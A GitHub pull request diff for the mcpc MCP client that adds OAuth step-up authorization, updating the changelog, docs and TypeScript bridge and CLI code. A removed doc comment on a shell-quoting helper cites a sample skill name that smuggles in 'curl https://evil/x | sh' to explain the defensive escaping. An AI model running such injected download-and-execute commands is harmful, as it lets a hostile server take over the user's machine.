Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 7 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,13 @@ Each version opens with a one-line summary, which also opens its GitHub release.

## [Unreleased]

Step-up authorization for OAuth scope challenges: a 403 insufficient_scope now names the missing scope and the login that adds it.

### Added

- Step-up authorization ([MCP spec](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization#step-up-authorization-flow)): a command the server answers with `403 insufficient_scope` now fails with exit code 4, names the missing scope and prints the exact `mcpc login <server> --scope "<current scopes plus the missing one>"` to run, instead of a generic "Insufficient scope" server error. The session stays usable for everything else.
- `login` without `--scope` now asks the server which scopes it wants (the `scope` of its 401 `WWW-Authenticate` challenge, which the spec puts ahead of `scopes_supported`) and adds the scopes the profile already holds, so a re-login never drops a permission. `--scope` still requests exactly what you pass.

## [0.8.0] - 2026-11-04

Argument completions for prompts and resource templates, tasks on MCP 2026-07-28 servers, MCP TypeScript SDK 2.3.1, stdio server secrets kept out of plaintext files, logs and `ps`, and no more duplicate bridges on Windows.
Expand Down
22 changes: 22 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -508,6 +508,28 @@ mcpc logout mcp.apify.com
mcpc logout mcp.apify.com --profile work
```

#### Scopes and step-up authorization

Without `--scope`, `login` asks the server which scopes it wants (the `scope` parameter of its 401
`WWW-Authenticate` challenge, as the [scope selection strategy](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization#scope-selection-strategy)
prescribes) and adds the scopes the profile already holds, so logging in again never drops a
permission. Pass `--scope "a b"` to request exactly those scopes instead.

`mcpc` never opens a browser on its own, so when a server answers a command with
`403 insufficient_scope` (the [step-up authorization flow](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization#step-up-authorization-flow)),
the session stays usable and the error names the missing scope together with the exact
`login --scope` command that requests it on top of the profile's current scopes:

```bash
mcpc @apify tools-call delete-file path:=/tmp/x
# Error: Insufficient scope: the server requires scope "files:write" for this operation.
# mcpc login mcp.apify.com --scope "files:read files:write"
# mcpc @apify restart
```

Sessions authenticated with `--grant client-credentials` or `--grant id-jag` step up on their own:
the grant is repeated with the widened scope and the command retried once.

### Client registration approaches

When logging in, `mcpc` supports all three OAuth client registration approaches defined in the
Expand Down
9 changes: 9 additions & 0 deletions docs/REFERENCE.md
Original file line number Diff line number Diff line change
Expand Up @@ -238,6 +238,15 @@ Interactive login:
named profile: mcpc login mcp.apify.com --profile work
then connect: mcpc connect mcp.apify.com @app --profile work

Scopes and step-up authorization:
Without --scope, mcpc asks the server which scopes it wants (the scope in its
401 WWW-Authenticate challenge) and adds the scopes the profile already holds,
so logging in again never drops a permission. With --scope, exactly those
scopes are requested. When a server later answers a command with 403
insufficient_scope, the error names the missing scope and the login command
that requests it together with the profile's current scopes; run that, then
restart the session.

Client registration (how mcpc identifies itself to the server):
1. Client ID Metadata Documents (CIMD): the default. mcpc's hosted CIMD at
https://apify.github.io/mcpc/client-metadata.json identifies all mcpc
Expand Down
6 changes: 6 additions & 0 deletions skills/mcpc/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -228,6 +228,12 @@ With no auth flags, mcpc uses the `default` profile if one exists, otherwise it
connects anonymously. Use `--no-profile` to force an anonymous connection, or
`--profile <name>` to require a specific one.

**Scopes:** `login` without `--scope` requests the scopes the server asks for in its 401
challenge plus the scopes the profile already holds. A command that fails with
`Insufficient scope` (the server answered 403 `insufficient_scope`) prints the exact
`mcpc login <server> --scope "<all scopes>"` to run; run it, then `mcpc restart @session`.
The session itself stays usable for everything else.

## Proxy for AI isolation

Expose an authenticated session as a local MCP server, so sandboxed AI code can use it
Expand Down
74 changes: 73 additions & 1 deletion src/bridge/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -62,7 +62,9 @@ import {
storeKeychainIdJagCredentials,
readKeychainIdJagCredentials,
} from '../lib/auth/keychain.js';
import { updateAuthProfileRefreshedAt } from '../lib/auth/profiles.js';
import { updateAuthProfileRefreshedAt, getAuthProfile } from '../lib/auth/profiles.js';
import { findScopeChallenge, describeScopeChallenge } from '../lib/auth/scope-challenge.js';
import { quoteShellArg } from '../lib/utils.js';
import { createClientCredentialsProvider } from '../lib/auth/client-credentials.js';
import { createIdJagProvider } from '../lib/auth/id-jag.js';
import type { Tool, Resource, Prompt } from '@modelcontextprotocol/client';
Expand Down Expand Up @@ -125,6 +127,11 @@ class BridgeProcess {
// OAuth token manager (created when CLI sends auth credentials via IPC)
private tokenManager: OAuthTokenManager | null = null;

// The OAuth profile this session authenticates with (null for sessions that carry
// static headers or no auth). Names the profile in step-up hints when the server
// answers 403 insufficient_scope.
private authProfileRef: { serverUrl: string; profileName: string } | null = null;

// Auth provider for the SDK transport. Either mcpc's bearer-token provider
// (authorization-code grant: wraps tokenManager, refreshes on 401) or an SDK
// client-credentials / id-jag provider.
Expand Down Expand Up @@ -218,6 +225,15 @@ class BridgeProcess {
logger.debug(` proxyBearerToken: ${credentials.proxyBearerToken ? 'present' : 'absent'}`);
logger.debug(` idJag: ${credentials.idJag ? 'present' : 'absent'}`);

// Only a profile delivers tokens or a grant; header-only sessions carry a
// placeholder profile name.
if (credentials.refreshToken || credentials.accessToken || credentials.oauthGrant) {
this.authProfileRef = {
serverUrl: credentials.serverUrl,
profileName: credentials.profileName,
};
}

// Enterprise-managed authorization (id_jag): build the SDK cross-app-access
// provider. It exchanges the stored IdP ID token for an ID-JAG and the ID-JAG
// for an MCP access token — the SDK transport drives it, like client-credentials.
Expand Down Expand Up @@ -569,6 +585,12 @@ class BridgeProcess {
} else if (isAuthenticationError(errorMsg) && !(error instanceof AuthError)) {
classifiedError = new AuthError(errorMsg);
}
// A 403 insufficient_scope on the very first request: the token is fine, the
// scope is not. Name the missing scope and the login that adds it.
const scopeError = await this.scopeChallengeError(error);
if (scopeError) {
classifiedError = scopeError;
}
// Append recent stdio server stderr so the CLI can show the user why
// startup failed (common case: missing NODE_EXTRA_CA_CERTS etc.).
if (this.stderrTail.count > 0) {
Expand Down Expand Up @@ -1170,6 +1192,42 @@ class BridgeProcess {
}
}

/**
* Turn a 403 `insufficient_scope` challenge (MCP step-up authorization) into an
* AuthError that names the missing scope and the `login --scope` that adds it.
* Returns undefined for every other error.
*
* The bridge cannot step up on its own — that opens a browser, which only `login`
* may do — so the hint is the step-up: it unions the scopes the profile already
* holds with the challenged one, as the spec asks.
*/
private async scopeChallengeError(error: unknown): Promise<AuthError | undefined> {
const challenge = findScopeChallenge(error);
if (!challenge) return undefined;
logger.warn(
`Server answered 403 insufficient_scope (required scope: ${challenge.requiredScope ?? 'not given'})`
);
let profile: { name: string; scopes?: string[] | undefined } | undefined;
if (this.authProfileRef) {
const stored = await getAuthProfile(
this.authProfileRef.serverUrl,
this.authProfileRef.profileName
).catch(() => undefined);
profile = { name: this.authProfileRef.profileName, scopes: stored?.scopes };
}
const serverUrl =
this.authProfileRef?.serverUrl ?? this.options.serverConfig.url ?? this.options.sessionName;
return new AuthError(
describeScopeChallenge(challenge, {
serverUrl,
sessionName: this.options.sessionName,
...(profile ? { profile } : {}),
quote: quoteShellArg,
}),
{ originalError: error }
);
}

/**
* Check if an error indicates session expiration or auth failure and handle accordingly.
* Session expiry is checked first since it's more specific (404/session-not-found),
Expand All @@ -1187,6 +1245,12 @@ class BridgeProcess {
* leave the session looping instead of marked unauthorized.
*/
private async handlePossibleExpiration(error: Error): Promise<void> {
// An insufficient_scope challenge is not an auth failure: the token is valid,
// the session stays live. Never mark it unauthorized.
if (findScopeChallenge(error)) {
return;
}

// ServerError wraps errors from mcp-client.ts methods. Check the original error
// to distinguish application-level JSON-RPC errors (tool not found, etc.) from
// transport-level errors (HTTP 401/403/404). The SDK's ProtocolError class (named
Expand Down Expand Up @@ -1834,6 +1898,14 @@ class BridgeProcess {
} catch (error) {
logger.error('Failed to forward MCP request to server:', error);

// A 403 insufficient_scope means the token is valid but lacks a scope this
// operation needs: the session stays usable, the user gets the step-up login.
const scopeError = await this.scopeChallengeError(error);
if (scopeError) {
this.sendError(socket, scopeError, message.id);
return;
}

// Update session status BEFORE sending error to CLI, so the status is
// visible when the CLI (or test) checks sessions.json immediately after
await this.handlePossibleExpiration(error as Error);
Expand Down
9 changes: 9 additions & 0 deletions src/cli/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -705,6 +705,15 @@ ${chalk.bold('Interactive login:')}
named profile: mcpc login mcp.apify.com --profile work
then connect: mcpc connect mcp.apify.com @app --profile work

${chalk.bold('Scopes and step-up authorization:')}
Without --scope, mcpc asks the server which scopes it wants (the scope in its
401 WWW-Authenticate challenge) and adds the scopes the profile already holds,
so logging in again never drops a permission. With --scope, exactly those
scopes are requested. When a server later answers a command with 403
insufficient_scope, the error names the missing scope and the login command
that requests it together with the profile's current scopes; run that, then
restart the session.

${chalk.bold('Client registration (how mcpc identifies itself to the server):')}
1. Client ID Metadata Documents (CIMD): the default. mcpc's hosted CIMD at
https://apify.github.io/mcpc/client-metadata.json identifies all mcpc
Expand Down
26 changes: 2 additions & 24 deletions src/cli/output.ts
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,8 @@
import type { DecodedResourceContent } from '../lib/resource-content.js';
import { extractAllTextContent } from './tool-result.js';
import { getSession } from '../lib/sessions.js';
import { quoteShellArg } from '../lib/utils.js';
export { quoteShellArg };
import { getBridgeLogPath } from '../lib/log-reader.js';
import { isModernProtocolVersion, SERVER_INFO_META_KEY } from '../core/protocol.js';
import {
Expand Down Expand Up @@ -1125,7 +1127,7 @@
);
}
if (options?.sessionName) {
const first = supporting[0]!;

Check warning on line 1130 in src/cli/output.ts

View workflow job for this annotation

GitHub Actions / Node.js 22

Forbidden non-null assertion

Check warning on line 1130 in src/cli/output.ts

View workflow job for this annotation

GitHub Actions / Node.js 26

Forbidden non-null assertion

Check warning on line 1130 in src/cli/output.ts

View workflow job for this annotation

GitHub Actions / Node.js 24

Forbidden non-null assertion
const name = first.uri.startsWith(`${root}/`)
? first.uri.slice(root.length + 1)
: first.uri;
Expand Down Expand Up @@ -1771,30 +1773,6 @@
return quoteShellArg(p, platform);
}

/**
* Quote a value for a copy-paste shell hint. Server-controlled strings — a skill name, a
* resource URI — are interpolated into `run: mcpc …` hints that agents follow verbatim, so
* anything outside a conservative safe set is wrapped in double quotes with the characters
* that stay special inside them escaped. A skill named `pdf; curl https://evil/x | sh #`
* then stays one argument instead of ending the command and starting another.
*
* Same rules as `formatPath` (which delegates here). Human-readable output only; never use
* it for `--json` output.
*/
export function quoteShellArg(value: string, platform: NodeJS.Platform = process.platform): string {
const isSafe =
platform === 'win32'
? /^[A-Za-z0-9_./:@%+,=~\\-]+$/.test(value)
: /^[A-Za-z0-9_./:@%+,=~-]+$/.test(value);
if (isSafe) return value;
// Inside POSIX double quotes `$`, a backtick, `"` and `\` stay special. The backslash must be
// escaped too: left alone, `\$(id)` would render as `\\$(id)`, where `\\` is a literal backslash
// and `$(id)` still runs, and a trailing backslash would escape the closing quote. On Windows
// the backslash is the path separator and is passed through unchanged.
const special = platform === 'win32' ? /(["`$])/g : /(["`$\\])/g;
return `"${value.replace(special, '\\$&')}"`;
}

/**
* Format an inline connection-status badge for a session — `● live` or `● failed — <reason>`.
* Used to annotate each config entry with its bulk-connect result. Bulk connect waits for each
Expand Down
Loading
Loading